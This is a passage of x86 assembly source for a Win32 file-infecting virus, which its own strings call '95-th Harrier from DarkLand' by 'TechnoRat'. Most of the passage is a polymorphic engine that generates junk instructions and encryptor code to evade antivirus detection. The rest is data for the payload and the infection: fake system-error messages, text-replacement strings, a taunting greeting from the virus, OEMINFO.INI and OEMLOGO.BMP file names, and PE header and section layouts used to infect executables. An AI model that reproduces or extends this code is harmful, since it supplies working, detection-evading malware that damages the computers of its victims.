StosB
|
|
Call StoreByte
|
|
Mov Al,Ah
|
|
Shr Al,3h
|
|
And Al,7h
|
|
Or Al,50h
|
|
StosB
|
|
Call StoreByte
|
|
Push ECx ; Seria of commands
|
|
Push EAx
|
|
Mov EAx,5h
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenArCom_2_1$
|
|
GenArCom_2_2$: Mov EAx,[ESp][2*4]
|
|
Call GenArCom
|
|
Dec ECx
|
|
Jnz GenArCom_2_2$
|
|
GenArCom_2_1$: Pop EAx
|
|
Pop ECx
|
|
Mov Al,Ah
|
|
And Al,7h
|
|
Or Al,58h
|
|
StosB
|
|
Call StoreByte
|
|
Mov Al,Ah
|
|
Shr Al,3h
|
|
And Al,7h
|
|
Or Al,58h
|
|
StosB
|
|
Call StoreByte
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenArCom_3$: Dec EAx
|
|
Jnz GenArCom_4$ ; ">3"
|
|
Mov EAx,2h ; Xor Reg1,Reg2
|
|
Call Random
|
|
Or Al,38h
|
|
Or Al,1h
|
|
StosB
|
|
Call StoreByte
|
|
Pop EAx
|
|
StosB
|
|
Call StoreByte
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenArCom_4$: Dec EAx
|
|
Jnz GenArCom_5$ ; ">4"
|
|
Mov Al,2h ; Add Reg1,Reg2
|
|
Call Random ; Sub Reg1,Reg2
|
|
Or Al,Al
|
|
Jz GenArCom_4_1$
|
|
Mov Al,28h
|
|
GenArCom_4_1$: Or Al,1h
|
|
Push EBx
|
|
Mov EBx,EAx
|
|
Mov Al,2h
|
|
Call Random
|
|
Or Al,Bl
|
|
StosB
|
|
Call StoreByte
|
|
Pop EBx
|
|
Pop EAx
|
|
StosB
|
|
Call StoreByte
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenArCom_5$: Dec EAx
|
|
Jnz GenArCom_6$ ; ">5"
|
|
Mov Al,2h ; Add; Sub; Xor [Imm]
|
|
Call Random
|
|
Or Al,Al
|
|
Pop EAx
|
|
PushF
|
|
Push EAx
|
|
Jz GenArCom_5_1$
|
|
Mov Al,66h
|
|
StosB
|
|
Call StoreByte
|
|
GenArCom_5_1$: Mov EAx,2h
|
|
Call Random
|
|
Shl Al,1h
|
|
Or Al,81h
|
|
StosB
|
|
Call StoreByte
|
|
Xchg EAx,[ESp]
|
|
Push EAx
|
|
Mov EAx,3h
|
|
Call Random
|
|
Shl Al,3h
|
|
Push ECx
|
|
Mov Cl,Al
|
|
Mov EAx,002830h
|
|
Shr EAx,Cl
|
|
Pop ECx
|
|
Xchg EBx,[ESp]
|
|
And Bl,7h
|
|
Or Al,Bl
|
|
Or Al,0C0h
|
|
StosB
|
|
Call StoreByte
|
|
Pop EBx
|
|
Pop EAx
|
|
Cmp Al,83h
|
|
Je GenArCom_5_2$
|
|
Mov Ax,Word Ptr RandSeed
|
|
StosW
|
|
Call StoreWord ; Imm16
|
|
PopF
|
|
Jnz GenArCom_5_3$
|
|
Mov Ax,Word Ptr RandSeed+2 ; Imm32
|
|
StosW
|
|
Call StoreWord
|
|
GenArCom_5_3$: Pop EAx
|
|
Ret
|
|
|
|
GenArCom_5_2$: Mov EAx,100h ; Imm8
|
|
Call Random
|
|
StosB
|
|
Call StoreByte
|
|
PopF
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenArCom_6$: Mov Al,0D1h ; Rol Reg,1
|
|
StosB ; Ror Reg,1
|
|
Call StoreByte
|
|
Pop EAx
|
|
Push EBx
|
|
Mov EBx,EAx
|
|
Mov EAx,2h
|
|
Call Random
|
|
Shl Al,3h
|
|
And Bl,0C7h
|
|
Or Al,Bl
|
|
StosB
|
|
Call StoreByte
|
|
Pop EBx
|
|
Pop EAx
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
GenMovCom: Push EBx ; Some command that loads
|
|
Mov EBx,EAx ; registers by values
|
|
GenMovCom_1$: Call GetNoESpReg ; but don't change some
|
|
Cmp Al,Bl ; register by # in Ax (Ah,Al)
|
|
Je GenMovCom_1$ ; set bit in mask
|
|
Cmp Al,Bh ; transferred in EDx
|
|
Je GenMovCom_1$ ; (Corrupt EAx)
|
|
Mov EBx,EAx
|
|
Push ECx
|
|
Mov Cl,Al
|
|
Mov EAx,1
|
|
Shl EAx,Cl
|
|
Or EDx,EAx ; Set bit in mask
|
|
Pop ECx
|
|
Mov EAx,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenMovCom_Lea$
|
|
Mov Al,Bl ; Mov style
|
|
Or Al,0B8h
|
|
StosB
|
|
Call StoreByte
|
|
Mov EAx,RandSeed
|
|
StosD
|
|
Call StoreDWord
|
|
Pop EBx
|
|
Ret
|
|
|
|
GenMovCom_Lea$: Mov Al,8Dh ; Lea style
|
|
StosB
|
|
Call StoreByte
|
|
Mov Al,Bl
|
|
Shl Al,3h
|
|
Or Al,5h
|
|
StosB
|
|
Call StoreByte
|
|
Mov EAx,RandSeed
|
|
StosD
|
|
Call StoreDWord
|
|
Pop EBx
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
GenNoRegCom: Xor EAx,EAx ; Some command that don't
|
|
Mov Al,0Eh ; change registers
|
|
Call Random ; (Corrupt EAx)
|
|
Or EAx,EAx
|
|
Jnz GenNoReg_1$ ; ">0"
|
|
Call GenNoFlagCom ; NoFlag command
|
|
Ret
|
|
|
|
GenNoReg_1$: Dec EAx
|
|
Jnz GenNoReg_2$ ; ">1"
|
|
Mov Al,2h ; Clc or Stc
|
|
Call Random
|
|
Or Al,0F8h
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_2$: Dec EAx
|
|
Jnz GenNoReg_3$ ; ">2"
|
|
Mov Al,2h ; Cld or Std
|
|
Call Random
|
|
Or Al,0FCh
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_3$: Dec EAx
|
|
Jnz GenNoReg_4$ ; ">3"
|
|
Mov Al,0F5h ; Cmc
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_4$: Dec EAx
|
|
Jnz GenNoReg_5$ ; ">4"
|
|
Mov Al,4h ; Or Reg,Reg
|
|
Call Random
|
|
Or Al,8h
|
|
StosB
|
|
Call GetEqRegs
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_5$: Dec EAx
|
|
Jnz GenNoReg_6$ ; ">5"
|
|
Mov Al,4h ; And Reg,Reg
|
|
Call Random
|
|
Or Al,20h
|
|
StosB
|
|
Call GetEqRegs
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_6$: Dec EAx
|
|
Jnz GenNoReg_7$ ; ">6"
|
|
Mov Al,4h ; Cmp Reg1,Reg2
|
|
Call Random
|
|
Or Al,38h
|
|
StosB
|
|
Call GetNoEqRegs
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_7$: Dec EAx
|
|
Jnz GenNoReg_8$ ; ">7"
|
|
Mov Al,2h ; Test Reg1,Reg2
|
|
Call Random
|
|
Or Al,84h
|
|
StosB
|
|
Call GetNoEqRegs
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_8$: Dec EAx
|
|
Jnz GenNoReg_9$ ; ">8"
|
|
Mov Al,2h ; Test Reg,0XXXXh
|
|
Call Random
|
|
Or Al,0F6h
|
|
StosB
|
|
Push EAx
|
|
Call GetReg
|
|
Or Al,0C0h
|
|
StosB
|
|
Pop EAx
|
|
Cmp Al,0F6h
|
|
Jne GenNoReg_8_1$
|
|
Mov EAx,100h
|
|
Call Random
|
|
StosB
|
|
Ret
|
|
GenNoReg_8_1$: Mov EAx,RandSeed
|
|
StosD
|
|
Ret
|
|
|
|
GenNoReg_9$: Dec EAx
|
|
Jnz GenNoReg_10$ ; ">9"
|
|
Mov Al,2h ; Cmp Reg,0XXXXh
|
|
Call Random
|
|
Or Al,80h
|
|
StosB
|
|
Push EAx
|
|
Call GetReg
|
|
Or Al,0F8h
|
|
StosB
|
|
Pop EAx
|
|
Cmp Al,80h
|
|
Jne GenNoReg_9_1$
|
|
Mov EAx,100h
|
|
Call Random
|
|
StosB
|
|
Ret
|
|
GenNoReg_9_1$: Mov EAx,RandSeed
|
|
StosD
|
|
Ret
|
|
|
|
GenNoReg_10$: Dec EAx
|
|
Jnz GenNoReg_11$ ; ">10"
|
|
Call GetNoESpReg ; Inc Reg / Dec Reg
|
|
Or Al,40h
|
|
Push EBx
|
|
Mov Bl,Al
|
|
Mov Al,2h
|
|
Call Random
|
|
Shl Al,3h
|
|
Or Al,Bl
|
|
Pop EBx
|
|
StosB
|
|
Push EAx ; Some seria of commands
|
|
Push ECx
|
|
Mov EAx,5h ; How many. . .
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoReg_10_1$
|
|
GenNoReg_10_2$: Call GenNoRegCom
|
|
Dec ECx
|
|
Jnz GenNoReg_10_2$
|
|
GenNoReg_10_1$: Pop ECx
|
|
Pop EAx
|
|
Xor Al,8h
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_11$: Dec EAx
|
|
Jnz GenNoReg_12$ ; ">11"
|
|
Mov Al,2h ; Rol Reg,1 / Ror Reg,1
|
|
Call Random ; Inc Reg,1 / Dec Reg,1
|
|
Push EAx
|
|
Mov Al,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Pop EAx
|
|
Mov Ah,0D0h
|
|
Je GenNoReg_11_0$
|
|
Mov Ah,0FEh
|
|
GenNoReg_11_0$: Or Al,Ah
|
|
Push EAx
|
|
StosB
|
|
Call GetNoESpReg
|
|
Or Al,0C0h
|
|
Push EBx
|
|
Mov Bl,Al
|
|
Mov Al,2h
|
|
Call Random
|
|
Shl Al,3h
|
|
Or Al,Bl
|
|
Pop EBx
|
|
StosB
|
|
Push EAx ; Some seria of commands
|
|
Push ECx
|
|
Mov EAx,5h ; How many. . .
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoReg_11_1$
|
|
GenNoReg_11_2$: Call GenNoRegCom
|
|
Dec ECx
|
|
Jnz GenNoReg_11_2$
|
|
GenNoReg_11_1$: Pop ECx
|
|
Pop EAx
|
|
Xchg EAx,[ESp]
|
|
StosB
|
|
Pop EAx
|
|
Xor Al,8h
|
|
StosB
|
|
Ret
|
|
|
|
GenNoReg_12$: Dec EAx
|
|
Jnz GenNoReg_13$ ; ">12"
|
|
Mov Al,2h ; Xchg Reg1,Reg2 (Twice)
|
|
Call Random ; (without ESp)
|
|
Or Al,86h
|
|
Push EBx
|
|
Mov Bl,Al
|
|
Call GetNoEqRegs0
|
|
Mov Ah,Bl
|
|
Pop EBx
|
|
Xchg Ah,Al
|
|
StosW
|
|
Push EAx ; Seria ;-) from One command
|
|
Call GenNoRegCom
|
|
Pop EAx
|
|
StosW
|
|
Ret
|
|
|
|
GenNoReg_13$: Mov Al,2h ; Add; Sub; Xor [Imm]
|
|
Call Random ; Sub; Add; Xor [Imm]
|
|
Or Al,Al
|
|
PushF ; _Prefix
|
|
Jz GenNoReg_13_1$
|
|
Mov Al,66h
|
|
StosB
|
|
GenNoReg_13_1$: Mov Al,4h
|
|
Call Random
|
|
Or Al,80h
|
|
StosB
|
|
Push EAx ; _ComByte
|
|
Mov Al,3h
|
|
Call Random
|
|
Shl Al,3h
|
|
Push EAx ; _ComNum
|
|
Push ECx
|
|
Mov Cl,Al
|
|
Mov EAx,002830h
|
|
Shr EAx,Cl
|
|
Mov ECx,EAx
|
|
Call GetNoESpReg
|
|
Or Cl,Al
|
|
Xchg EAx,[ESp] ; _RegNum
|
|
Xchg EAx,ECx
|
|
Or Al,0C0h
|
|
StosB
|
|
Mov EAx,RandSeed
|
|
Push EAx ; _MagicDWord
|
|
Mov EAx,[ESp][3*4]
|
|
Cmp Al,81h
|
|
Jne GenNoReg13_2$
|
|
Mov EAx,[ESp]
|
|
StosW
|
|
Mov EAx,[ESp][4*4]
|
|
Push EAx
|
|
PopF
|
|
Jnz GenNoReg13_3$
|
|
Mov EAx,[ESp]
|
|
Shr EAx,16
|
|
StosW
|
|
Jmp GenNoReg13_3$
|
|
|
|
GenNoReg13_2$: Mov EAx,[ESp]
|
|
StosB
|
|
|
|
GenNoReg13_3$: Push ECx ; Seria of commands. . .
|
|
Mov EAx,5h
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoReg13_4$
|
|
GenNoReg13_5$: Call GenNoRegCom
|
|
Dec ECx
|
|
Jnz GenNoReg13_5$
|
|
GenNoReg13_4$: Pop ECx
|
|
|
|
Mov EAx,[ESp][4*4] ; Mirror command
|
|
Push EAx
|
|
PopF
|
|
Jz GenNoReg13_6$
|
|
Mov Al,66h
|
|
StosB
|
|
GenNoReg13_6$: Mov EAx,[ESp][3*4]
|
|
StosB
|
|
Push ECx
|
|
Mov ECx,[ESp][2*4]+4
|
|
Mov EAx,280030h
|
|
Shr EAx,Cl
|
|
Mov ECx,EAx
|
|
Mov EAx,[ESp][1*4]+4
|
|
Or Al,Cl
|
|
Or Al,0C0h
|
|
StosB
|
|
Pop ECx
|
|
Mov EAx,[ESp][3*4]
|
|
Cmp Al,81h
|
|
Jne GenNoReg13_7$
|
|
Mov EAx,[ESp]
|
|
StosW
|
|
Mov EAx,[ESp][4*4]
|
|
Push EAx
|
|
PopF
|
|
Jnz GenNoReg13_8$
|
|
Mov EAx,[ESp]
|
|
Shr EAx,16
|
|
StosW
|
|
GenNoReg13_8$: Add ESp,5*4
|
|
Ret
|
|
|
|
GenNoReg13_7$: Mov EAx,[ESp]
|
|
StosB
|
|
Add ESp,5*4
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
GenNoFlagCom: Xor EAx,EAx ; Some command that don't
|
|
Mov Al,0Ah ; change anything
|
|
Call Random ; (Corrupt EAx)
|
|
Or EAx,EAx
|
|
Jnz GenNoFlag_1$ ; ">0"
|
|
Mov Al,90h ; Nop command
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_1$: Dec EAx
|
|
Jnz GenNoFlag_2$ ; ">1"
|
|
GenNoFlag_1_1$: Mov Al,4h ; Segments DS: ES: SS:
|
|
Call Random ; Without CS: !
|
|
Shl Al,3h
|
|
Or Al,26h
|
|
Cmp Al,2Eh
|
|
Je GenNoFlag_1_1$
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_2$: Dec EAx
|
|
Jnz GenNoFlag_3$ ; ">2"
|
|
Mov Ax,0E3h ; JECxZ $+2
|
|
StosW
|
|
Ret
|
|
|
|
GenNoFlag_3$: Dec EAx
|
|
Jnz GenNoFlag_4$ ; ">3"
|
|
Mov Al,2h ; Xchg Reg,Reg
|
|
Call Random
|
|
Or Al,86h
|
|
StosB
|
|
Call GetEqRegs
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_4$: Dec EAx
|
|
Jnz GenNoFlag_5$ ; ">4"
|
|
Mov Al,4h ; Mov Reg,Reg
|
|
Call Random
|
|
Or Al,88h
|
|
StosB
|
|
Call GetEqRegs
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_5$: Dec EAx
|
|
Jnz GenNoFlag_6$ ; ">5"
|
|
Call GetNoESpReg ; Push Reg / Pop Reg
|
|
Or Al,50h
|
|
StosB
|
|
Push EAx ; Some seria of commands
|
|
Push ECx
|
|
Mov EAx,5h ; How many. . .
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoFlag_5_1$
|
|
GenNoFlag_5_2$: Call GenNoFlagCom
|
|
Dec ECx
|
|
Jnz GenNoFlag_5_2$
|
|
GenNoFlag_5_1$: Pop ECx
|
|
Pop EAx
|
|
Or Al,8h
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_6$: Dec EAx
|
|
Jnz GenNoFlag_7$ ; ">6"
|
|
Mov Al,10h ; Jcc $+2
|
|
Call Random
|
|
Or Al,70h
|
|
StosB
|
|
Xor Al,Al
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_7$: Dec EAx
|
|
Jnz GenNoFlag_8$ ; ">7"
|
|
Mov Al,0EBh ; Jmps $+?
|
|
StosB
|
|
Mov Al,20h ; Jmp distance. . .
|
|
Call Random
|
|
StosB
|
|
Push ECx
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoFlag_7_1$
|
|
GenNoFlag_7_2$: Mov EAx,100h
|
|
Call Random
|
|
StosB
|
|
Dec ECx
|
|
Jnz GenNoFlag_7_2$
|
|
GenNoFlag_7_1$: Pop ECx
|
|
Ret
|
|
|
|
GenNoFlag_8$: Dec EAx
|
|
Jnz GenNoFlag_9$ ; ">8"
|
|
Mov Al,60h ; PushA / PopA
|
|
StosB
|
|
Push ECx ; Some seria of commands
|
|
Mov EAx,5h ; How many. . .
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoFlag_8_1$
|
|
GenNoFlag_8_2$: Call GenNoFlagCom
|
|
Dec ECx
|
|
Jnz GenNoFlag_8_2$
|
|
GenNoFlag_8_1$: Pop ECx
|
|
Mov Al,61h
|
|
StosB
|
|
Ret
|
|
|
|
GenNoFlag_9$: Mov Al,9Ch ; PushF / PopF
|
|
StosB
|
|
Push ECx ; Some seria of commands
|
|
Mov EAx,5h ; How many. . .
|
|
Call Random
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenNoFlag_9_1$
|
|
GenNoFlag_9_2$: Call GenNoFlagCom
|
|
Dec ECx
|
|
Jnz GenNoFlag_9_2$
|
|
GenNoFlag_9_1$: Pop ECx
|
|
Mov Al,9Dh
|
|
StosB
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
GetNoEqRegs0: Call GetNoESpReg ; Get Registers Mod R/M
|
|
Push EBx ; byte with any NoEq
|
|
Mov Bl,Al ; registers inside
|
|
Call GetNoESpReg ; this pack (without ESp)
|
|
Shl Al,3h
|
|
Or Al,Bl
|
|
Or Al,0C0h
|
|
Pop EBx
|
|
Ret
|
|
|
|
GetNoEqRegs: Call GetReg ; Get Registers Mod R/M
|
|
Push EBx ; byte with any NoEq
|
|
Mov Bl,Al ; registers inside
|
|
Call GetReg ; this pack
|
|
Shl Al,3h
|
|
Or Al,Bl
|
|
Or Al,0C0h
|
|
Pop EBx
|
|
Ret
|
|
|
|
GetEqRegs: Call GetReg ; Get Registers Mod R/M
|
|
Mov Ah,Al ; byte with any Eq registers
|
|
Shl Al,3h ; inside this pack
|
|
Or Al,Ah
|
|
Or Al,0C0h
|
|
Ret
|
|
|
|
GetNoESpReg: Call GetReg ; Get register number
|
|
Cmp Al,4h ; but without ESP
|
|
Je GetNoESPReg
|
|
Ret
|
|
|
|
GetReg: Mov EAx,8h ; Get register number
|
|
Call Random
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
Enumer: Push EAx ; Enumerates the some
|
|
Push ECx ; procedure in EBx
|
|
Mov EAx,ECx ; ECx times with
|
|
Call Random ; parameters in EAx
|
|
Or ECx,ECx
|
|
Jz Enumer_0$
|
|
Enumer_1$: Mov EAx,[ESp][4]
|
|
Call EBx
|
|
Dec ECx
|
|
Jnz Enumer_1$
|
|
Enumer_0$: Pop ECx
|
|
Pop EAx
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
StoreByte: Cmp Byte Ptr pEnableEncr,0h ; Stores the Byte data
|
|
Je StoreByte_0$ ; into encryptor buffer
|
|
Mov [ESi],Al
|
|
Inc ESi
|
|
StoreByte_0$: Ret
|
|
|
|
StoreWord: Cmp Byte Ptr pEnableEncr,0h ; Stores the Word data
|
|
Je StoreWord_0$ ; into encryptor buffer
|
|
Mov [ESi],Ax
|
|
Add ESi,2h
|
|
StoreWord_0$: Ret
|
|
|
|
StoreDWord: Cmp Byte Ptr pEnableEncr,0h ; Stores the DWord data
|
|
Je StoreDWord_0$ ; into encryptor buffer
|
|
Mov [ESi],EAx
|
|
Add ESi,4h
|
|
StoreDWord_0$: Ret
|
|
|
|
; ---------------------------------------------------------
|
|
Random: Push EDx ; Generate some random number
|
|
Push ECx ; to EAx by border in EAx
|
|
Push EAx ; (0..Border-1)
|
|
Mov EAx,RandSeed ; Don't corrupt registers
|
|
Mov ECx,8088405h ; [from TurboPascal v7.0]
|
|
Mul ECx ; (Based on Congruent
|
|
Inc EAx ; generating algorythm)
|
|
Mov RandSeed,EAx
|
|
Pop ECx
|
|
Mul ECx
|
|
Pop ECx
|
|
Mov EAx,EDx
|
|
Pop EDx
|
|
Ret
|
|
|
|
;Separator=_Nop
|
|
; ---------------------------------------------------------
|
|
; Data for convertor
|
|
;DefCodeLine
|
|
ConvertDataLen = 4h
|
|
ConvertData Label DWord
|
|
Dd Offset SearchStr1
|
|
Dd Offset ReplaceStr1
|
|
|
|
Dd Offset SearchStr2
|
|
Dd Offset ReplaceStr2
|
|
|
|
Dd Offset SearchStr3
|
|
Dd Offset ReplaceStr3
|
|
|
|
Dd Offset SearchStr4
|
|
Dd Offset ReplaceStr4
|
|
;BreakCodeLine
|
|
|
|
SearchStr1 Db 'MICROSOFT',0
|
|
SearchStr2 Db 'WINDOWS',0
|
|
SearchStr3 Db 'BILL GATES',0
|
|
SearchStr4 Db 'HARRIER',0
|
|
|
|
ReplaceStr1 Db 'MIcrOSOFT',0
|
|
ReplaceStr2 Db 'WINDOwS',0
|
|
ReplaceStr3 Db 'Gill Bates',0
|
|
ReplaceStr4 Db 'Oh! Guys! Is it about me?',0
|
|
|
|
; ---------------------------------------------------------
|
|
;DefCodeLine
|
|
InfoName Db 'OEMINFO.INI',0h
|
|
InfoNameL = $-InfoName
|
|
;BreakCodeLine
|
|
;DefCodeLine
|
|
BitMapName Db 'OEMLOGO.BMP',0h
|
|
BitMapNameL = $-BitMapName
|
|
;BreakCodeLine
|
|
|
|
SelfSectionName Db '.TEXT',0,0,0
|
|
|
|
InfSelfHeader Db '"95-th Harrier from DarkLand"',0
|
|
InfEnterDebug Db 'Entering to DEBUG mode.',0
|
|
InfCancelMsg Db 'Infecting aborted by Creator!',0
|
|
InfNoNameMsg Db 'Name not specified.',0
|
|
|
|
;DefCodeLine
|
|
HelloMsg Label Byte
|
|
Db 'Oops, World, it is Me!',Cr
|
|
Db 'Can You image it? I am the Win32 platform based virus!',Cr
|
|
Db 'Hey, Daniloff! Will You porte Your DrWeb at this platform?',Cr
|
|
Db 'Hmm, Guy, what You think about Watcom C++ ?',Cr
|
|
Db Cr
|
|
Db 'Greetings goes to Gill Bates and to her Mircosoft Windoze 95 sucks,',Cr
|
|
Db ' and to rest lame part of world.',Cr
|
|
Db Cr
|
|
Db 'Ugly Lamers MUST DIE!',Cr
|
|
Db Cr
|
|
Db 'Who am I ? I am the "95-th Harrier from DarkLand" !!!',Cr
|
|
Db 'I come from dark, I invade Your PC and now I will invade Your mind. . .',Cr
|
|
Db Cr
|
|
Db ' TechnoRat',Cr
|
|
Db Cr
|
|
Db Ver,Release,BasedOn,Cr
|
|
Db 0
|
|
;BreakCodeLine
|
|
|
|
InfGodHelp Db 'God will help! ;-)',0
|
|
|
|
; ---------------------------------------------------------
|
|
;DefCodeLine
|
|
FuckMsgCounter = 6h
|
|
FuckMessages Label DWord
|
|
Dd FuckMsg1,FuckMsg2,FuckMsg3,FuckMsg4,FuckMsg5,FuckMsg6
|
|
;BreakCodeLine
|
|
|
|
FuckMsg1 Db 'System malfunction!',0
|
|
FuckMsg2 Db 'VXDs rings overcrossed!',0
|
|
FuckMsg3 Db 'CPU mode thunking error!',0
|
|
FuckMsg4 Db 'CPU overclocked, cooler device emergency!',0
|
|
FuckMsg5 Db 'Help subsystem is damaged!',0
|
|
FuckMsg6 Db 'Attention! Bugs inside computer, use SoftIce.',0
|
|
|
|
; ---------------------------------------------------------
|
|
; Here will be placed the very nice files. . .
|
|
BFile BitMapFile,HarrLogo.Bmp,HarrBtMpFile_Sz
|
|
BFile InfoFile,HarrInfo.Ini,HarrInfoFile_Sz
|
|
|
|
MemBase Dd ? ; Program base in memory
|
|
HostIP Dd ? ; for returning to host
|
|
Here Dd ? ; self place in RAM
|
|
Debug Dd 0h ; debugging flag
|
|
HelpCounter Dd 0h ; for FuckingHelp ;-)
|
|
InitOk Dd 1h ; Initialize semaphore:
|
|
; 0 - process performing
|
|
; 1 - must be initialized
|
|
; 2 - initialized Ok.
|
|
|
|
; ---------------------------------------------------------
|
|
; Real copyright by creator.
|
|
;DefCodeLine
|
|
Irpc Char,<(C)reated by TechnoRat (hacker)>
|
|
Db '&Char' Xor 0FFh
|
|
EndM
|
|
;BreakCodeLine
|
|
|
|
; ---------------------------------------------------------
|
|
RandSeed Dd ?
|
|
StubEntryLabel Dd ?
|
|
ImagePlace Dd ?
|
|
CurrentPlace Dd ?
|
|
PolyMorphSz Dd 0h ; The size of decriptors
|
|
StubImportPlace Dd ?
|
|
ImportPlace Dd ?
|
|
ImportLength Dd ?
|
|
BufferPlace Dd ?
|
|
|
|
; ---------------------------------------------------------
|
|
; The Virtual stack variables
|
|
Var DosHeader ,40h ; Dos Header place
|
|
Var FileHandle ,DWord ; Generic file variables
|
|
Var FileAttributes ,DWord
|
|
Var FileNamePtr ,DWord
|
|
Var FileLastWrite ,8h ; Generic file Date/Time
|
|
Var FileLastAccess ,8h
|
|
Var FileCreation ,8h
|
|
Var ProcessedBytes ,DWord
|
|
Var NewSeconds ,Word
|
|
Var PackedTime ,8h
|
|
Var SomePath ,MaxPathLen
|
|
|
|
Var PEFileHeaders ,DWord
|
|
|
|
Var ImportLegal ,DWord ; Import section parameters
|
|
Var ImportPhysOffs ,DWord
|
|
Var ImportRVA ,DWord
|
|
Var ImportFlags ,DWord
|
|
Var ImportOrder ,DWord
|
|
|
|
;DefCodeLine
|
|
Var FT_Struc ,0h ; System Time description
|
|
Var FT_Year ,Word
|
|
Var FT_Month ,Word
|
|
Var FT_DayOfWeek ,Word
|
|
Var FT_Day ,Word
|
|
Var FT_Hour ,Word
|
|
Var FT_Minute ,Word
|
|
Var FT_Second ,Word
|
|
Var FT_Milliseconds ,Word
|
|
;BreakCodeLine
|
|
|
|
Var pBaseReg ,Byte ; PolyMorph gen. vars
|
|
Var pSemReg ,Byte
|
|
Var pEnableEncr ,Byte
|
|
Var pBase ,DWord
|
|
Var pSem ,DWord
|
|
Var pXchg ,DWord
|
|
Var pMov ,DWord
|
|
Var pBaseAdd ,DWord
|
|
Var pBaseSub ,DWord
|
|
Var pAgain ,DWord
|
|
Var pAgain_E ,DWord
|
|
Var pAdd ,DWord
|
|
|
|
Var GenSz ,DWord ; PolyMorph link vars
|
|
Var GenCrSz ,DWord
|
|
Var GenTotalSz ,DWord
|
|
Var Cryptors ,2*4*16
|
|
Var CryptCnt ,DWord
|
|
|
|
;DefCodeLine
|
|
Var Section ,0h
|
|
SectBegin = _VarAddr ; Section header description
|
|
Var SectName ,8h
|
|
Var SectVirtSize ,DWord
|
|
Var SectRVA ,DWord
|
|
Var SectPhysSize ,DWord
|
|
Var SectPhysOffs ,DWord
|
|
Var SectR ,3*4h
|
|
Var SectFlags ,DWord
|
|
SectSize = _VarAddr-SectBegin
|
|
;BreakCodeLine
|
|
|
|
;DefCodeLine
|
|
Var SelfSection ,0h
|
|
SelfSectBegin = _VarAddr ; Self section description
|
|
Var SelfSectName ,8h
|
|
Var SelfSectVirtSize,DWord
|
|
Var SelfSectRVA ,DWord
|
|
Var SelfSectPhysSize,DWord
|
|
Var SelfSectPhysOffs,DWord
|
|
Var SelfSectR ,3*4h
|
|
Var SelfSectFlags ,DWord
|
|
SelfSectSize = _VarAddr-SelfSectBegin
|
|
;BreakCodeLine
|
|
|
|
;DefCodeLine
|
|
Var PEHeader ,0h
|
|
PEHeaderBegin = _VarAddr ; PE Header description
|
|
Var PE_Sign ,DWord
|
|
Var PE_CPUType ,Word
|
|
Var PE_NumOfSections,Word
|
|
Var PE_TimeDate ,DWord
|
|
Var PE_PtrToCOFFTbl ,DWord
|
|
Var PE_COFFTblSize ,DWord
|
|
Var PE_NTHdrSize ,Word
|
|
Var PE_Flags ,Word
|
|
Var PE_Magic ,Word
|
|
Var PE_LMajor ,Byte
|
|
Var PE_LMinor ,Byte
|
|
Var PE_SizeOfCode ,DWord
|
|
Var PE_SizeOfIData ,DWord
|
|
Var PE_SizeOfUIData ,DWord
|
|
Var PE_EntryPointRVA,DWord
|
|
Var PE_BaseOfCode ,DWord
|
|
Var PE_BaseOfData ,DWord
|
|
Var PE_ImageBase ,DWord
|
|
Var PE_ObjectAlign ,DWord
|
|
Var PE_FileAlign ,DWord
|
|
Var PE_OsMajor ,Word
|
|
Var PE_OsMinor ,Word
|
|
Var PE_UserMajor ,Word
|
|
Var PE_UserMinor ,Word
|
|
Var PE_SubSysMajor ,Word
|
|
Var PE_SubSysMinor ,Word
|
|
Var PE_R1 ,DWord
|
|
Var PE_ImageSize ,DWord
|
|
Var PE_HeaderSize ,DWord
|
|
Var PE_FileChkSum ,DWord
|
|
Var PE_SubSystem ,Word
|
|
Var PE_DllFlags ,Word
|
|
Var PE_StackReserveSz,DWord
|
|
Var PE_StackCommitSz,DWord
|
|
Var PE_HeapReserveSz,DWord
|
|
Var PE_HeapCommitSz ,DWord
|
|
Var PE_LoaderFlags ,DWord
|
|
Var PE_NumOfRVAAndSz,DWord
|
|
Var PE_ExportTableRVA,DWord
|
|
Var PE_ExportDataSz ,DWord
|
|
Var PE_ImportTableRVA,DWord
|
|
Var PE_ImportDataSz ,DWord
|
|
Var PE_RsrcTableRVA ,DWord
|
|
Var PE_RsrcDataSz ,DWord
|
|
Var PE_ExceptTableRVA,DWord
|
|
Var PE_ExceptDataSz ,DWord
|
|
Var PE_SecurTableRVA,DWord
|
|
Var PE_SecurDataSz ,DWord
|
|
